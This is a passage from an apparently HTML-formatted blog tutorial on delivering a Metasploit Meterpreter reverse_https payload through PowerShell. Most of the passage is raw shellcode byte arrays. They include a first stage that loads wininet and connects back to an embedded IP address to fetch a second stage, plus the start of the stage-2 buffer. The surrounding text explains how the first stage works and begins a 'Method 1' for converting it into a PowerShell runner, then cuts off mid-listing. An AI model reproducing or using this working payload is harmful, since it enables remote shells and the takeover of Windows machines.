id=&quot;lnum20&quot;&gt;  20:&lt;/span&gt; &quot;\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum21&quot;&gt;  21:&lt;/span&gt; &quot;\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum22&quot;&gt;  22:&lt;/span&gt; &quot;\x57\x57\x57\x6a\x00\x54\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x5f&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum23&quot;&gt;  23:&lt;/span&gt; &quot;\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xfb\x20\x00\x00\x53&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum24&quot;&gt;  24:&lt;/span&gt; &quot;\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x48\x59\x31\xd2\x52\x68&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum25&quot;&gt;  25:&lt;/span&gt; &quot;\x00\x32\xa0\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum26&quot;&gt;  26:&lt;/span&gt; &quot;\xff\xd5\x89\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum27&quot;&gt;  27:&lt;/span&gt; &quot;\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum28&quot;&gt;  28:&lt;/span&gt; &quot;\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1a&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum29&quot;&gt;  29:&lt;/span&gt; &quot;\x4b\x74\x10\xeb\xd5\xeb\x49\xe8\xb3\xff\xff\xff\x2f\x48\x65&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum30&quot;&gt;  30:&lt;/span&gt; &quot;\x41\x6e\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum31&quot;&gt;  31:&lt;/span&gt; &quot;\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum32&quot;&gt;  32:&lt;/span&gt; &quot;\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum33&quot;&gt;  33:&lt;/span&gt; &quot;\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd\x8b\x07\x01\xc3\x85&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum34&quot;&gt;  34:&lt;/span&gt; &quot;\xc0\x75\xe5\x58\xc3\xe8\x51\xff\xff\xff\x31\x37\x38\x2e\x33&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum35&quot;&gt;  35:&lt;/span&gt; &quot;\x32\x2e\x37\x32\x2e\x31\x39\x34\x00&quot;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum36&quot;&gt;  36:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum37&quot;&gt;  37:&lt;/span&gt; /*&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum38&quot;&gt;  38:&lt;/span&gt;  * windows/meterpreter/reverse_https - 752128 bytes (stage 2)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum39&quot;&gt;  39:&lt;/span&gt;  * http://www.metasploit.com&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum40&quot;&gt;  40:&lt;/span&gt;  */&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum41&quot;&gt;  41:&lt;/span&gt; unsigned char buf[] = &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum42&quot;&gt;  42:&lt;/span&gt; &quot;\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5\x81\xc3&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum43&quot;&gt;  43:&lt;/span&gt; &quot;\x19\x15\x00\x00\xff\xd3\x89\xc3\x57\x68\x04\x00\x00\x00\x50&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;From all the payload we just need the first stage. The first stage is will provide the connect back to the metasploit server functionality that will fetch the second stage.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Here again, a couple of options, one way of delivering it can be the following, simply copy the first stage, convert it in a proper format for the powershell script and run the script. &lt;/p&gt;&lt;br /&gt;&lt;p&gt;Method 1:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Converting the shellcode to proper format needed by the powershell script:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Shellcode:&lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; &quot;\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; &quot;\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; &quot;\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; &quot;\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; &quot;\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; &quot;\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; &quot;\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt; &quot;\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt; &quot;\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt; &quot;\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt; &quot;\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum12&quot;&gt;  12:&lt;/span&gt; &quot;\x57\x57\x57\x6a\x00\x54\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x5f&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum13&quot;&gt;  13:&lt;/span&gt; &quot;\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xfb\x20\x00\x00\x53&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum14&quot;&gt;  14:&lt;/span&gt; &quot;\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x48\x59\x31\xd2\x52\x68&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum15&quot;&gt;  15:&lt;/span&gt; &quot;\x00\x32\xa0\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum16&quot;&gt;  16:&lt;/span&gt; &quot;\xff\xd5\x89\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum17&quot;&gt;  17:&lt;/span&gt; &quot;\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum18&quot;&gt;  18:&lt;/span&gt; &quot;\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1a&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum19&quot;&gt;  19:&lt;/span&gt; &quot;\x4b\x74\x10\xeb\xd5\xeb\x49\xe8\xb3\xff\xff\xff\x2f\x48\x65&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum20&quot;&gt;  20:&lt;/span&gt; &quot;\x41\x6e\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum21&quot;&gt;  21:&lt;/span&gt; &quot;\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum22&quot;&gt;  22:&lt;/span&gt; &quot;\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum23&quot;&gt;  23:&lt;/span&gt; 